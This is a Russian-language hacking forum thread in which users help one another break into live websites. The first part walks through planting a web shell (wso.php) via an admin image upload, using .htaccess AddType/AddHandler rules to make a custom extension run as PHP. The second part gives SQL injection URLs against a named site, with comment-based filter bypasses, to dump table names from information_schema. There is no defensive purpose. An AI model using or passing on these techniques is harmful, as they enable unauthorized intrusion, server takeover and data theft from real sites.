еще вопрос.

Надо залить шелл. В админке могу только редактировать новости, а в новостях добавлять картинки. При добавлении картинки все хорошо заливается, даже расширение .пхп. Заливается на сервер. НО когда я заливаю например wso.php и потом иду по ссылки картинки получаю The server encountered an internal error or misconfiguration and was unable to complete your request.

когда же заливаю шелл с расширением например .jpg то нормально переходит по ссылке, но шел не срабатывает.

Есть какие то еще варианты?

Уйма. Можешь юзать морковку, панголини, safe3, круизер в конце концов.

Но лично я пришел к выводу, что лучше рук ничего ещё не написали)

Залить .htaccses как вариант. Потм залить какой-то shell.ololovskiy и открыть как исполняемый.

ты имеешь в виду разрешить выполнение php файлов как картинку?

типа

попробуй залить phpinfo(); и скажи что выйдет

если нет, то да, попробуй AddType application/x-httpd-jpg .ololo

и лей шелл.ololo

С пхп инфо не прокатило.

во втором случае просто выводит исходный код шелла, но не исполняет его

http://www.vlunn.ru/detali2008.php?param=462+/*!union%0Aselect*/+1,2,3,4,5,6,7,8,910,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28+/*!from*/+/*!informaTion_schema.tables*/--+

помогите обойти фильтр

jecka, php_flag engine 1

AddHandler application/x-httpd-php .ololo

самое смешное, что и .htaccess как txt обрабатывается, т.е. при переходе на "картинку" вылетает содержимое htaccess..странно

http://www.vlunn.ru/detali2008.php?param=462+/*!union%0Aselect*/+1,table_name,3,4,5,6,78,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28+from+information _schema.`tables`+limit+1,1--+

и т.д.

%20 ток убери)